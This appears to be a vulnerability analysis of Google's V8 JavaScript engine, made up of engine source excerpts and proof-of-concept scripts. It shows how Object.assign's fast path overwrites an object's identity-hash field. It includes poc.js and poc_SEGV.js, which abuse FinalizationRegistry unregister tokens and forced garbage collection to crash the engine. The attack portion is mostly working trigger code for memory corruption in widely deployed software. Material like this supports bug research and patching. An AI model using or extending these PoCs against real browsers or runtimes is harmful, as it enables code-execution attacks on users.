let to = {};
let from = {0: 0};
Object.assign(to, from);
%DebugPrint(from);

TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
  ...
  TNode<JSReceiver> to = ToObject_Inline(context, target);
  ...

  Label done_fast_path(this), slow_path(this);
  GotoIfForceSlowPath(&slow_path);
  {
    TNode<JSReceiver> from = ToObject_Inline(context, source);
    TNode<Map> from_map = LoadMap(from);
    ...    // all kinds of check

    TVARIABLE(Map, clone_map);
    {
      // Load the Transitions array from from_map, go to the runtime branch if it doesn't exist
      TNode<MaybeObject> maybe_transitions = LoadMaybeWeakObjectField(from_map, Map::kTransitionsOrPrototypeInfoOffset);
      TNode<HeapObject> maybe_transitions2 = GetHeapObjectIfStrong(maybe_transitions, &runtime_map_lookup); 
      GotoIfNot(IsTransitionArrayMap(LoadMap(maybe_transitions2)), &runtime_map_lookup);

      TNode<WeakFixedArray> transitions = CAST(maybe_transitions2);

      // Get side_step_transitions from Transitions Array, if it's still SMI, then go to the runtime branch
      TNode<Object> side_step_transitions = CAST(LoadWeakFixedArrayElement(
          transitions,
          IntPtrConstant(TransitionArray::kSideStepTransitionsIndex)));
      GotoIf(TaggedIsSmi(side_step_transitions), &runtime_map_lookup);

      // Load Object.assign-map from side_step_transitions, which is the map of 'to' after assignment
      TNode<MaybeObject> maybe_target_map = LoadWeakFixedArrayElement(
          CAST(side_step_transitions),
          IntPtrConstant(SideStepTransition::index_of(
              SideStepTransition::Kind::kObjectAssign)));
      // If maybe_target_map = unreachable, then it means it can't fast clone, go to the slow branch 
      GotoIf(TaggedEqual(maybe_target_map,
                         SmiConstant(SideStepTransition::Unreachable)),
             &slow_path);

      // If maybe_target_map = Empty, then it means it hasn't been calculated yet, go to the runtime_map_lookup branch
      GotoIf(
          TaggedEqual(maybe_target_map, SmiConstant(SideStepTransition::Empty)),
          &runtime_map_lookup);

      // target_map is the hidden class after copying from object to to object
      TNode<Map> target_map =
          CAST(GetHeapObjectAssumeWeak(maybe_target_map, &runtime_map_lookup));
      // Deprecated, go to the runtime_map_lookup branch
      GotoIf(IsDeprecatedMap(target_map), &runtime_map_lookup);

      // Get the Cell corresponding to Object.assign-validity-cell from the side_step_transitions array
      TNode<MaybeObject> maybe_validity_cell = LoadWeakFixedArrayElement(
          CAST(side_step_transitions),
          IntPtrConstant(SideStepTransition::index_of(
              SideStepTransition::Kind::kObjectAssignValidityCell)));
      // Check if side_step_transitions is still valid
      TNode<Cell> validity_cell = CAST(
          GetHeapObjectAssumeWeak(maybe_validity_cell, &runtime_map_lookup));
      GotoIfNot(TaggedEqual(LoadCellValue(validity_cell),
                            SmiConstant(Map::kPrototypeChainValid)),
                &runtime_map_lookup);
      // Finally found clone_map, can go to the fast path
      clone_map = target_map;
    }
    Goto(&continue_fast_path);
    ...

    // Check is done, enter the fast path to assign the object
    BIND(&continue_fast_path);

    FastCloneJSObject(
        from, 
        from_map, 
        clone_map.value(),
        [&](TNode<Map> map, TNode<HeapObject> properties, TNode<FixedArray> elements) {
          StoreMap(to, clone_map.value());    // Write to the map field of the 'to' object
          StoreJSReceiverPropertiesOrHash(to, properties);   // Write to the properties field of the 'to' object
          StoreJSObjectElements(CAST(to), elements); // Write to the elements field of the 'to' object
          return to;
        },
        false /* target_is_new */
    );
    ... 
  }
  ... 
}

template <typename Function>
TNode<Object> CodeStubAssembler::FastCloneJSObject(
    TNode<HeapObject> object, TNode<Map> source_map, TNode<Map> target_map,
    const Function& materialize_target, bool target_is_new) {
  ...

  // Copy the PropertyArray backing store. The source PropertyArray
  // must be either an Smi, or a PropertyArray.
  Comment("FastCloneJSObject: cloning properties");
  TNode<Object> source_properties =
      LoadObjectField(object, JSObject::kPropertiesOrHashOffset);
  {
    GotoIf(TaggedIsSmi(source_properties), &done_copy_properties);
    GotoIf(IsEmptyFixedArray(source_properties), &done_copy_properties);

    // This fastcase requires that the source object has fast properties.
    TNode<PropertyArray> source_property_array = CAST(source_properties);

    TNode<IntPtrT> length = LoadPropertyArrayLength(source_property_array);
    GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &done_copy_properties);

    TNode<PropertyArray> property_array = AllocatePropertyArray(length);
    FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
    CopyPropertyArrayValues(source_property_array, property_array, length,
                            SKIP_WRITE_BARRIER, DestroySource::kNo);
    var_properties = property_array;
  }
  ...

  Comment("FastCloneJSObject: initialize the target object");
  TNode<JSReceiver> target = materialize_target(
      target_map, var_properties.value(), var_elements.value());
  ...
}

extern class JSReceiver extends HeapObject {
  properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;
}

int GetIdentityHashHelper(Tagged<JSReceiver> object) {
  DisallowGarbageCollection no_gc;
  Tagged<Object> properties = object->raw_properties_or_hash();
  if (IsSmi(properties)) {
    return Smi::ToInt(properties);
  }

  if (IsPropertyArray(properties)) {
    return Cast<PropertyArray>(properties)->Hash();
  }

  if (IsPropertyDictionary(properties)) {
    return Cast<PropertyDictionary>(properties)->Hash();
  }

  if (IsGlobalDictionary(properties)) {
    return Cast<GlobalDictionary>(properties)->Hash();
  }
  ...

  return PropertyArray::kNoHashSentinel;
}

// WeakMap
let weakMap = new WeakMap();

let obj = {};
// The  properties_or_hash field of obj is SMI, used to record hash
weakMap.set(obj, 'value');

function overwrite_obj_hash(obj) {
    let from = {};
    // generate Sidestep transitions in from_map
    Object.assign(obj, from);
    // The properties_or_hash field of obj is overwritten with the address of an object.
    Object.assign(obj, from);
}

// return true
print(weakMap.has(obj));

overwrite_obj_hash(obj);

// return false
print(weakMap.has(obj));

extern class JSFinalizationRegistry extends JSObject {
    native_context: NativeContext;
    cleanup: Callable; // The callback function to be called during garbage collection
    active_cells: Undefined|WeakCell; // The linked list of all live objects registered to the FinalizationRegistry
    cleared_cells: Undefined|WeakCell; // If objects in active_cells are garbage collected but the cleanup callback is not called, they would be placed in this linked list
    key_map: Object; // dictionary Map: unregister_token=>WeakCell
    
    // The linked list of FinalizationRegistries that need to be cleaned up
    next_dirty: Undefined|JSFinalizationRegistry;
    flags: SmiTagged<FinalizationRegistryFlags>;
}

extern class WeakCell extends HeapObject {
    finalization_registry: Undefined|JSFinalizationRegistry; // The FinalizationRegistry to which this belongs
    target: Undefined|JSReceiver|Symbol; // The target object being observed
    unregister_token: Undefined|JSReceiver|Symbol; // The token used for unregistration
    holdings: JSAny; // The parameter for the cleanup callback
    
    // Used to store WeakCell in the active_cells and cleared_cells lists of JSFinalizationRegistry
    // as a doubly-linked list
    prev: Undefined|WeakCell;
    next: Undefined|WeakCell;
    
    // JSFinalizationRegistry::key is a hash table, hash collisions are resolved through a linked list
    // For unregister_tokens with the same hash, the corresponding WeakCells are stored as a doubly-linked list
    key_list_prev: Undefined|WeakCell;
    key_list_next: Undefined|WeakCell;
}

void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
    Isolate* isolate, Tagged<WeakCell> weak_cell) {
  DisallowGarbageCollection no_gc;
  Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value();

  // weak_cell->key_list_prev==undefined means weak_cell is the head node of a hash linked list in a slot
  if (IsUndefined(weak_cell->key_list_prev(), isolate)) { 
    Tagged<SimpleNumberDictionary> key_map = Cast<SimpleNumberDictionary>(this->key_map());
    // unregister_token is an object, its hash value is obtained through the properties_or_hash field
    Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
    uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
    // Query the corresponding table entry based on the key
    InternalIndex entry = key_map->FindEntry(isolate, key);
    // At this point, properties_or_hash is modified to FixedArray[0] by Object.assign(), so it cannot be found, DCHECK fails
    DCHECK(entry.is_found());    

    if (IsUndefined(weak_cell->key_list_next(), isolate)) { // There is only weak_cell in the linked list pointed to by the slot
      // weak_cell is the only one associated with its key; remove the key
      // from the hash table.
      key_map->ClearEntry(entry);
      key_map->ElementRemoved();
    } else { // There is more than one weak_cell in the linked list pointed to by the slot, but now weak_cell is to be deleted
      // The next node of weak_cell becomes the head node
      Tagged<WeakCell> next = Cast<WeakCell>(weak_cell->key_list_next());
      // Clear the prev pointer
      next->set_key_list_prev(undefined);
      // Set the value of the entry to next
      key_map->ValueAtPut(entry, next);
    }
  } else { // weak_cell->key_list_prev!=undefined means weak_cell is a node in the middle of the hash linked list
    ...
  }
  ...
}

/* poc_SEGV.js */
function CleanUp() {
    print("CleanUp");

    // trigger SEGV fault
    for(let i=0; i<10; i++) {
        registry.register({"target": 3+i}, 3+i, {"token": 3+i});
    }
}

const registry = new FinalizationRegistry(CleanUp);

let target1 = {
    "a": 1
};
let target2 = {
    "a": 2
};

let unreg_token = {
};

registry.register(target1, 1, unreg_token);
registry.register(target2, 2, unreg_token);

// overwrite properties_or_hash field of unreg_token
for(let i=0; i<2; i++) 
    Object.assign(unreg_token, {});   

target2 = undefined;
gc({type: "major"});

/*
./d8 \
    --expose-gc \
    ./poc_SEGV.js
*/

/* poc.js */ 

// Prepare a finalization registry
function CleanUp() {
    print("CleanUp");
}
const registry = new FinalizationRegistry(CleanUp);

// The target object to be registered
let target = {
};
// The token used when unregistering from the registry
let unreg_token = {
};
// Register to registry: trigger the callback function when target is GC'ed
registry.register(target, undefined, unreg_token);

// The first time it is executed, it writes sidestep transition in map of unreg_token
// The second time it enters the fast path of Object.assign()
// properties_or_hash field of unreg_token is overwritten as FixedArray[0]
for(let i=0; i<2; i++) 
    Object.assign(unreg_token, {});   

// Let the target be garbage collected, then trigger the registry's finalization
// At this time, it will delete the entry from UnregisterTokenMap with unreg_token's properties_or_hash as the key
// But at this point, properties_or_hash has been overwritten as a pointer, it cannot be found, so DCHECK fails
target = undefined;
gc({type: "major"});

./d8 \
    --expose-gc \
    ./poc.js